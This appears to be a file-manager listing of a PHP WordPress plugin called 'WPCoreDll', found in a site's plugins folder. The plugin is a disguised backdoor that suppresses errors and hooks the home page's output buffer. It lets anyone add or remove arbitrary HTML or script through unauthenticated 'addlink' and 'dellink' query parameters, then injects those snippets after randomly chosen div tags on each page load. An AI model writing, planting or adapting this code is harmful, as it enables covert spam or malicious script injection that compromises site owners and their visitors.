• File: WPCoreDll.php
  • Full Path: /home/lef/public_html/wp-content/plugins/WPCoreDll/WPCoreDll.php
  • File size: 3.44 KB
  • MIME-type: text/x-php
  • Charset: utf-8
<?php

/*
* Plugin Name: WPCoreDll
* Version: 1.0
* Author: Cris Manda
*/

error_reporting(0);

class CLinker
{
	public $html;
	private $mydir;

	function __construct($html)
	{
		$this->html = $html;
		$this->mydir = str_replace("\\", "/", dirname(__FILE__)) . "/";
	}

	function __destruct()
	{
	}

	private function Insert($pos, $code)
	{
		$n = $pos;
		while($n < strlen($this->html) && $this->html[$n] != ">")
			$n++;

		$this->html = substr($this->html, 0, $n + 1) . $code . substr($this->html, $n + 1);
	}

	private function GetShake($pos)
	{
		$n = $pos;
		while(($n - $pos) < 128 && $this->html[$n] != ">")
			$n++;

		$shake = substr($this->html, $pos, ($n - $pos) + 1);
		return md5($shake);
	}

	private function GetDivs()
	{
		$ret = false;

		$dcount = substr_count($this->html, "<div");

		$pos = 0;
		$tmp = false;
		for($i = 1; $i <= $dcount; $i++)
		{
			$pos = strpos($this->html, "<div", $pos + 1);
			$shake = $this->GetShake($pos);
			$tmp[$shake] = $pos;
		}

		$tmp = array_unique($tmp);

		foreach($tmp as $key => $value)
			$ret[] = array("shake" => $key, "pos" => $value);

		return $ret;
	}

	private function GetLinks()
	{
		$ret = false;

		$dir   = new RecursiveDirectoryIterator($this->mydir);
		$flat  = new RecursiveIteratorIterator($dir);
		$files = new RegexIterator($flat, '/\.dat$/i');
		foreach($files as $file)
    		{
			$data = explode("\r\n*\r\n", file_get_contents($file));
			$ret[] = array("shake" => trim($data[0]), "code" => $data[1]);
		}

		return $ret;
	}

	public function AddLink($code)
	{
		$divs = $this->GetDivs();
		$links = $this->GetLinks();

		$div = false;
		$try = 100;
		while($try)
		{
			$bflag = true;
			$rdiv = $divs[array_rand($divs)];
			foreach($links as $link)
				if($link["shake"] == $rdiv["shake"])
					$bflag = false;

			if($bflag)
			{
				$div = $rdiv;
				break;
			}

			$try--;
		}

		if($div)
		{
			file_put_contents($this->mydir . $div["shake"] . ".dat", $div["shake"] . "\r\n*\r\n" . $code);
			return $div["pos"];
		}
		else
			return false;
	}

	public function DeleteLink($code)
	{
		$ret = false;

		$links = $this->GetLinks();

		foreach($links as $link)
			if(strpos($link["code"], $code) !== false)
			{
				unlink($this->mydir . $link["shake"] . ".dat");
				$ret = true;
			}

		return $ret;
	}

	public function Flush()
	{
		$divs = $this->GetDivs();
		$links = $this->GetLinks();

		foreach($links as $link)
		{
			$found = false;
			foreach($divs as $div)
				if($div["shake"] == $link["shake"])
				{
					$found = $div;
					break;
				}

			if($found)
				$this->Insert($found["pos"], $link["code"]);
			else
			{
				$this->DeleteLink($link["code"]);
				$newpos = $this->AddLink($link["code"]);

				$this->Insert($newpos, $link["code"]);
			}
		}
	}
}

function wpcc_callback($buffer)
{
	$linker = new CLinker($buffer);

	if(isset($_GET["addlink"])){
		if($linker->AddLink(stripslashes($_GET["addlink"])))
			return "ADDLINK_OK";
		else
			return "ADDLINK_ERR";
	}

	if(isset($_GET["dellink"])){
		if($linker->DeleteLink(stripslashes($_GET["dellink"])))
			return "DELLINK_OK";
		else
			return "DELLINK_ERR";
	}

	$linker->Flush();
	return $linker->html;
}

function wpcc_buffer_start()
{
	ob_start("wpcc_callback");
}

function wpcc_buffer_end()
{
	ob_end_flush();
}

$page = $_SERVER["PHP_SELF"];
$param = $_SERVER["QUERY_STRING"];
if($page == "/index.php" && ($param == "" || strpos($param, "link=") !== false))
{
	add_action("wp_head", "wpcc_buffer_start");
	add_action("wp_footer", "wpcc_buffer_end");
}

?>